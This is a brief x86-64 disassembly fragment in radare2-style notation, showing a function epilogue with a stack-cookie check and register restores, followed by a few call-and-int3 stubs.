call fcn.140007160
xor eax, eax
mov rcx, qword [rbp + 0x540]
xor rcx, rsp
call fcn.14000e460
lea r11, [rsp + 0x650]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.140001120
nop
call fcn.1400098f0
int3
call fcn.1400011c0
int3